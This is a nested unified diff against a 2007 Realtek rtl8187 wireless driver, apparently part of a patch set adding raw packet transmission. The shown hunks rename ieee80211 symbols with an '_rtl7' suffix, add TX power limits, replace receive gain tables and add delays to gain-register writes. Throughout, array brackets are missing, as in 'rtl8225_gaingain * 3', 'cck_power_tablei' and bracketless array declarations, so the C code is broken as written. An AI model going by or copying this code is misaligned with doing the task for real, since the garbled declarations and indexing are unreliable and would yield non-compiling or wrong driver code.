++extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee);
++extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee);
++extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p);
++extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success);
+ 
+ /* ieee80211_softmac_wx.c */
+ 
+-extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, 
+ 			    struct iw_request_info *info, 
+ 			    union iwreq_data *wrqu, char *ext);
+ 			    
+-extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee,
+ 			 struct iw_request_info *info,
+ 			 union iwreq_data *awrq,
+ 			 char *extra);
+ 			 
+-extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b);
++extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b);
+ 
+-extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra);
+ 			     
+-extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info, 
+ 			     union iwreq_data *wrqu, char *extra);
+ 			     
+-extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 			     
+-extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 			     
+-extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, 
+ 			      struct iw_request_info *a,
+ 			      union iwreq_data *wrqu, char *extra);
+ 			      
+-extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee);
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work);
++#else
++extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee);
++#endif
+ 
+-extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, 
+ 			       struct iw_request_info *info, 
+ 			       union iwreq_data *wrqu, char *extra);
+ 			       
+-extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info, 
+ 			     union iwreq_data *wrqu, char *extra);
+ 
+-extern int ieee80211_wx_set_power(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra);
+ 
+-extern int ieee80211_wx_get_power(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra);
+ 				 			     
+-extern const long ieee80211_wlan_frequencies;
++extern const long ieee80211_wlan_frequencies_rtl7;
+ 
+-extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee)
++extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->scans++;
+ }
+ 
+-extern inline int ieee80211_get_scans(struct ieee80211_device *ieee)
++extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee)
+ {
+ 	return ieee->scans;
+ }
+@@ -1372,7 +1398,7 @@
+ 	const char *s = essid;
+ 	char *d = escaped;
+ 
+-	if (ieee80211_is_empty_essid(essid, essid_len)) {
++	if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) {
+ 		memcpy(escaped, "<hidden>", sizeof("<hidden>"));
+ 		return escaped;
+ 	}
+diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile
+--- rtl8187_orig/beta-8187/Makefile	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/Makefile	2007-05-27 10:47:14.000000000 +0200
+@@ -18,6 +18,8 @@
+ KVER  := $(shell uname -r)
+ KSRC := /lib/modules/$(KVER)/build
+ INSTALL_PREFIX :=
++PWD = $(shell pwd)
++
+ all: modules
+ 
+ clean:
+diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c
+--- rtl8187_orig/beta-8187/r8180_93cx6.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_93cx6.c	2007-06-05 14:00:01.000000000 +0200
+@@ -87,7 +87,7 @@
+ 
+ u32 eprom_read(struct net_device *dev, u32 addr)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	short read_cmd={1,1,0};
+ 	short addr_str8;
+ 	int i;
+diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h
+--- rtl8187_orig/beta-8187/r8180_hw.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_hw.h	2007-06-05 14:00:05.000000000 +0200
+@@ -646,6 +646,7 @@
+ #define FFER_INTR    ((1<<15))
+ #define FFER_GWAKE   ((1<< 4))
+ 
+-
++#define MAX_TX_POWER	27
++#define MIN_TX_POWER	20
+ 
+ #endif
+diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c
+--- rtl8187_orig/beta-8187/r8180_rtl8225.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c	2007-06-05 14:00:01.000000000 +0200
+@@ -173,7 +173,7 @@
+ 
+ void rtl8225_set_gain(struct net_device *dev, short gain)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+ 	
+@@ -208,7 +208,7 @@
+ {
+ #ifdef USE_8051_3WIRE
+ 
+-        struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++        struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+         struct usb_device *udev = priv->udev;
+         //u8 bit;
+         u16                             wReg80, wReg82, wReg84;
+@@ -255,7 +255,7 @@
+ 	u16 out,select;
+ 	u8 bit;
+ 	u32 bangdata = (data << 4) | (adr & 0xf);
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	
+ 	out = read_nic_word(dev, RFPinsOutput) & 0xfff3;
+ 		
+@@ -349,7 +349,7 @@
+ 
+ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	
+ 	int GainIdx;
+ 	int GainSetting;
+@@ -454,9 +454,9 @@
+ 
+ void rtl8225_rf_set_chan(struct net_device *dev, short ch)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	short gset = (priv->ieee80211->state == IEEE80211_LINKED &&
+-		ieee80211_is_54g(priv->ieee80211->current_network)) ||
++		ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) ||
+ 		priv->ieee80211->iw_mode == IW_MODE_MONITOR;
+ 	
+ 	rtl8225_SetTXPowerLevel(dev, ch);
+@@ -474,7 +474,7 @@
+ 		write_nic_byte(dev,DIFS,0x24); //DIFS: 36 
+ 	
+ 	if(priv->ieee80211->state == IEEE80211_LINKED &&
+-		ieee80211_is_shortslot(priv->ieee80211->current_network))
++		ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network))
+ 		write_nic_byte(dev,SLOT,0x9); //SLOT: 9
+ 		
+ 	else
+@@ -546,7 +546,7 @@
+ 
+ void rtl8225_rf_init(struct net_device *dev) 
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int i;
+ 	short channel = 1;
+ 	u16 brsr;
+diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h
+--- rtl8187_orig/beta-8187/r8180_rtl8225.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h	2007-06-05 14:00:05.000000000 +0200
+@@ -44,3 +44,5 @@
+ extern u32 rtl8225_chan;
+ 
+ #endif
++
++void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch);
+diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c
+--- rtl8187_orig/beta-8187/r8180_rtl8225z2.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c	2007-06-05 14:00:01.000000000 +0200
+@@ -2,12 +2,12 @@
+   This is part of the rtl8180-sa2400 driver
+   released under the GPL (See file COPYING for details).
+   Copyright (c) 2005 Andrea Merello <andreamrl@tiscali.it>
+-  
+-  This files contains programming code for the rtl8225 
++
++  This files contains programming code for the rtl8225
+   radio frontend.
+-  
++
+   *Many* thanks to Realtek Corp. for their great support!
+-  
++
+ */
+ 
+ 
+@@ -32,51 +32,68 @@
+ };
+ 
+ u8 rtl8225z2_gain_a={
+-	0x13,0x27,0x5a,//,0x37,// -82dbm 
+-	0x23,0x23,0x58,//,0x37,// -82dbm 
+-	0x33,0x1f,0x56,//,0x37,// -82dbm 
+-	0x43,0x1b,0x54,//,0x37,// -78dbm 
+-	0x53,0x17,0x51,//,0x37,// -74dbm 
+-	0x63,0x24,0x4f,//,0x37,// -70dbm 
+-	0x73,0x0f,0x4c,//,0x37,// -66dbm 
++	0x13,0x27,0x5a,//,0x37,// -82dbm
++	0x23,0x23,0x58,//,0x37,// -82dbm
++	0x33,0x1f,0x56,//,0x37,// -82dbm
++	0x43,0x1b,0x54,//,0x37,// -78dbm
++	0x53,0x17,0x51,//,0x37,// -74dbm
++	0x63,0x24,0x4f,//,0x37,// -70dbm
++	0x73,0x0f,0x4c,//,0x37,// -66dbm
+ };
+ #if 0
+ u32 rtl8225_chan = {
+ 	0,	//dummy channel 0
+-	0x085c, //1	 
+-	0x08dc, //2  
+-	0x095c, //3  
+-	0x09dc, //4  
+-	0x0a5c, //5  
+-	0x0adc, //6  
+-	0x0b5c, //7  
+-	0x0bdc, //8  
+-	0x0c5c, //9 
+-	0x0cdc, //10  
+-	0x0d5c, //11  
+-	0x0ddc, //12  
+-	0x0e5c, //13 
++	0x085c, //1
++	0x08dc, //2
++	0x095c, //3
++	0x09dc, //4
++	0x0a5c, //5
++	0x0adc, //6
++	0x0b5c, //7
++	0x0bdc, //8
++	0x0c5c, //9
++	0x0cdc, //10
++	0x0d5c, //11
++	0x0ddc, //12
++	0x0e5c, //13
+ 	//0x0f5c, //14
+-	0x0f72, // 14  
++	0x0f72, // 14
+ };
+ #endif
+ 
++#if 0
+ //-
+-u16 rtl8225z2_rxgain={	
++u16 rtl8225z2_rxgain={
+ 	0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409,
+-	0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541,  
++	0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541,
+ 	0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583,
+-	0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 
++	0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644,
+ 	0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688,
+ 	0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745,
+ 	0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789,
+ 	0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793,
+-	0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d,  
+-	0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9,  
+-	0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3,  
++	0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d,
++	0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9,
++	0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3,
+ 	0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb
+ 
+ };
++#else
++u16 rtl8225z2_rxgain={
++        0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009,
++	0x000a,	0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141,
++        0x0142,	0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183,
++	0x0184,	0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244,
++	0x0245,	0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288,
++        0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345,
++	0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389,
++	0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393,
++	0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d,
++	0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9,
++	0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3,
++	0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb
++};
++#endif
+ 
+ //2005.11.16,
+ u8 ZEBRA2_CCK_OFDM_GAIN_SETTING={
+@@ -129,23 +146,30 @@
+ void rtl8225z2_set_gain(struct net_device *dev, short gain)
+ {
+ 	u8* rtl8225_gain;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	u8 mode = priv->ieee80211->mode;
+-	
+-	if(mode == IEEE_B || mode == IEEE_G)
++
++	if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) {
++		//printk(KERN_WARNING "mode ag!\n");
+ 		rtl8225_gain = rtl8225z2_gain_bg;
+-	else
++	} else {
+ 		rtl8225_gain = rtl8225z2_gain_a;
+-		
++		//printk(KERN_WARNING "mode a!\n");
++	}
++
+ 	//write_phy_ofdm(dev, 0x0d, rtl8225_gaingain * 3);
+ 	//write_phy_ofdm(dev, 0x19, rtl8225_gaingain * 3 + 1);
+ 	//write_phy_ofdm(dev, 0x1b, rtl8225_gaingain * 3 + 2);
+         //2005.11.17, by ch-hsu
+         write_phy_ofdm(dev, 0x0b, rtl8225_gaingain * 3);
++	mdelay(1);
+         write_phy_ofdm(dev, 0x1b, rtl8225_gaingain * 3 + 1);
++	mdelay(1);
+         write_phy_ofdm(dev, 0x1d, rtl8225_gaingain * 3 + 2);
+-	write_phy_ofdm(dev, 0x21, 0x37);
++	mdelay(1);
++	write_phy_ofdm(dev, 0x21, 0x17);
++	mdelay(1);
+ 
+ }
+ 
+@@ -153,33 +177,33 @@
+ 
+ void rtl8225_set_gain(struct net_device *dev, short gain)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+-	
++
+ 	if(priv->card_8185 == 2)
+ 		write_phy_ofdm(dev, 0x21, 0x27);
+ 	else
+ 		write_phy_ofdm(dev, 0x21, 0x37);
+-		
++
+ 	write_phy_ofdm(dev, 0x25, 0x20);
+ 	write_phy_ofdm(dev, 0x11, 0x6);
+-	
++
+ 	if(priv->card_8185 == 1 && priv->card_8185_Bversion)
+ 		write_phy_ofdm(dev, 0x27, 0x8);
+ 	else
+ 		write_phy_ofdm(dev, 0x27, 0x88);
+-		
++
+ 	write_phy_ofdm(dev, 0x14, 0);
+ 	write_phy_ofdm(dev, 0x16, 0);
+ 	write_phy_ofdm(dev, 0x15, 0x40);
+ 	write_phy_ofdm(dev, 0x17, 0x40);
+-	
++
+ 	write_phy_ofdm(dev, 0x0d, rtl8225_gaingain * 4);
+ 	write_phy_ofdm(dev, 0x23, rtl8225_gaingain * 4 + 1);
+ 	write_phy_ofdm(dev, 0x1b, rtl8225_gaingain * 4 + 2);
+ 	write_phy_ofdm(dev, 0x1d, rtl8225_gaingain * 4 + 3);
+-	//rtl8225_set_gain_usb(dev, gain);	
++	//rtl8225_set_gain_usb(dev, gain);
+ }
+ #endif
+ 
+@@ -193,7 +217,7 @@
+ //	ThreeWireReg tdata;
+ 	int i;
+ 	short bit, rw;
+-	
++
+ 	u8 wLength = 6;
+ 	u8 rLength = 12;
+ 	u8 low2high = 0;
+@@ -207,20 +231,20 @@
+ 
+ 	dataRead = 0;
+ 
+-	oval &= ~0xf; 
++	oval &= ~0xf;
+ 
+ 	write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4);
+ 
+ 	write_nic_word(dev, RFPinsOutput, oval ); udelay(5);
+-	
++
+ 	rw = 0;
+-	
++
+ 	mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1));
+ 	for(i = 0; i < wLength/2; i++)
+ 	{
+ 		bit = ((data2Write&mask) != 0) ? 1 : 0;
+ 		write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1);
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2);
+ 		write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2);
+ 
+@@ -233,9 +257,9 @@
+ 			write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2);
+ 			break;
+ 		}
+-		
++
+ 		bit = ((data2Write&mask) != 0) ? 1: 0;
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2);
+ 		write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2);
+ 
+@@ -252,22 +276,22 @@
+ 	for(i = 0; i < rLength; i++)
+ 	{
+ 		write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1);
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2);
+ 		write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2);
+ 		write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2);
+ 		tmp = read_nic_word(dev, RFPinsInput);
+-		
++
+ 		dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0);
+ 
+ 		write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2);
+ 
+ 		mask = (low2high) ? (mask<<1) : (mask>>1);
+ 	}
+-	
++
+ 	write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2);
+ 
+-	write_nic_word(dev, RFPinsEnable, oval2);   
++	write_nic_word(dev, RFPinsEnable, oval2);
+ 	write_nic_word(dev, RFPinsSelect, oval3);   // Set To SW Switch
+ 	write_nic_word(dev, RFPinsOutput, 0x3a0);
+ 
+@@ -280,61 +304,61 @@
+ 	u16 out,select;
+ 	u8 bit;
+ 	u32 bangdata = (data << 4) | (adr & 0xf);
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	out = read_nic_word(dev, RFPinsOutput) & 0xfff3;
+-		
++
+ 	write_nic_word(dev,RFPinsEnable,
+ 		(read_nic_word(dev,RFPinsEnable) | 0x7));
+-	
++
+ 	select = read_nic_word(dev, RFPinsSelect);
+-	
+-	write_nic_word(dev, RFPinsSelect, select | 0x7 | 
++
++	write_nic_word(dev, RFPinsSelect, select | 0x7 |
+ 		((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO));
+-	
++
+ 	force_pci_posting(dev);
+ 	udelay(10);
+-	
++
+ 	write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff);
+-	
++
+ 	force_pci_posting(dev);
+ 	udelay(2);
+-	
++
+ 	write_nic_word(dev, RFPinsOutput, out);
+-	
++
+ 	force_pci_posting(dev);
+ 	udelay(10);
+-	
+-	
++
++
+ 	for(i=15; i>=0;i--){
+-	
++
+ 		bit = (bangdata & (1<<i)) >> i;
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, bit | out);
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK);
+ 		write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK);
+ 
+ 		i--;
+ 		bit = (bangdata & (1<<i)) >> i;
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK);
+ 		write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK);
+ 
+ 		write_nic_word(dev, RFPinsOutput, bit | out);
+ 
+ 	}
+-	
++
+ 	write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN);
+-	
++
+ 	force_pci_posting(dev);
+ 	udelay(10);
+ 
+-	write_nic_word(dev, RFPinsOutput, out | 
++	write_nic_word(dev, RFPinsOutput, out |
+ 		((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN));
+ 
+-	write_nic_word(dev, RFPinsSelect, select | 
+-		((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO));	
++	write_nic_word(dev, RFPinsSelect, select |
++		((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO));
+ 
+ 	if(priv->card_type == USB)
+ 		mdelay(2);
+@@ -348,30 +372,30 @@
+ 	short vz2 = 1;
+ 	/* sw to reg pg 1 */
+ 	write_rtl8225(dev, 0, 0x1b7);
+-	
++
+ 	/* reg 8 pg 1 = 23*/
+ 	if( read_rtl8225(dev, 8) != 0x588)
+ 		vz2 = 0;
+-	
+-	else	/* reg 9 pg 1 = 24 */ 
++
++	else	/* reg 9 pg 1 = 24 */
+ 		if( read_rtl8225(dev, 9) != 0x700)
+ 			vz2 = 0;
+-	
+-	/* sw back to pg 0 */	
++
++	/* sw back to pg 0 */
+ 	write_rtl8225(dev, 0, 0xb7);
+ 
+ 	return vz2;
+-	
++
+ }
+ 
+ #if 0
+ void rtl8225_rf_close(struct net_device *dev)
+ {
+-	write_rtl8225(dev, 0x4, 0x1f);   
+-	
++	write_rtl8225(dev, 0x4, 0x1f);
++
+ 	force_pci_posting(dev);
+ 	mdelay(1);
+-	
++
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF);
+ 	rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF);
+ }
+@@ -380,24 +404,24 @@
+ short rtl8225_rf_set_sens(struct net_device *dev, short sens)
+ {
+ 	if (sens <0 || sens > 6) return -1;
+-	
++
+ 	if(sens > 4)
+ 		write_rtl8225(dev, 0x0c, 0x850);
+-	else	
++	else
+ 		write_rtl8225(dev, 0x0c, 0x50);
+ 
+ 	sens= 6-sens;
+ 	rtl8225_set_gain(dev, sens);
+-	
++
+ 	write_phy_cck(dev, 0x41, rtl8225_thresholdsens);
+ 	return 0;
+-	
++
+ }
+ #endif
+ void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ //	int GainIdx;
+ //	int GainSetting;
+ 	int i;
+@@ -406,44 +430,47 @@
+ 	u8 max_cck_power_level;
+ 	//u8 min_cck_power_level;
+ 	u8 max_ofdm_power_level;
+-	u8 min_ofdm_power_level;	
++	u8 min_ofdm_power_level;
+ 	u8 cck_power_level = 0xff & priv->chtxpwrch;
+ 	u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdmch;
+-	
+-		
++
++
+ 	max_cck_power_level = 15;
+ 	//min_cck_power_level = 0;
+ 	max_ofdm_power_level = 25; //  12 -> 25
+ 	min_ofdm_power_level = 10;
+-	
++
+ 	/* CCK power setting */
+ 	if(cck_power_level > max_cck_power_level)
++	{
+ 		cck_power_level = max_cck_power_level;
+-	
++		priv->chtxpwrch = max_cck_power_level;
++	}
++
+ 	cck_power_level += priv->cck_txpwr_base;
+-	
++
+ 	if(cck_power_level > 35)
+ 		cck_power_level = 35;
+-		
+-	if(ch == 14) 
++
++	if(ch == 14)
+ 		cck_power_table = rtl8225z2_tx_power_cck_ch14;
+-	else 
++	else
+ 		cck_power_table = rtl8225z2_tx_power_cck;
+-	
+-	
++
++
+ 	for(i=0;i<8;i++){
+-	
++
+ 		power = cck_power_tablei;
+ 		write_phy_cck(dev, 0x44 + i, power);
+ 	}
+-	
++
+ 	//write_nic_byte(dev, TX_GAIN_CCK, power);
+ 	//2005.11.17,
+ 	write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTINGcck_power_level);
+-	
++
+ 	force_pci_posting(dev);
+ 	mdelay(1);
+-	
++
+ 	/* OFDM power setting */
+ //  Old:
+ //	if(ofdm_power_level > max_ofdm_power_level)
+@@ -454,26 +481,26 @@
+ 		ofdm_power_level = max_ofdm_power_level;
+ 	else
+ 		ofdm_power_level += min_ofdm_power_level;
+-	
++
+ 	ofdm_power_level += priv->ofdm_txpwr_base;
+-		
++
+ 	if(ofdm_power_level > 35)
+ 		ofdm_power_level = 35;
+-	
++
+ 	rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON);
+-		
++
+ 	write_phy_ofdm(dev,2,0x42);
+ 	write_phy_ofdm(dev,5,0);
+ 	write_phy_ofdm(dev,6,0x40);
+ 	write_phy_ofdm(dev,7,0);
+-	write_phy_ofdm(dev,8,0x40);	
+-	
++	write_phy_ofdm(dev,8,0x40);
++
+ 
+ 	//write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level);
+ 	//2005.11.17,
+         write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTINGofdm_power_level);
+ 
+-	
++
+ 	force_pci_posting(dev);
+ 	mdelay(1);
+ 	//write_nic_byte(dev, TX_AGC_CONTROL,4);
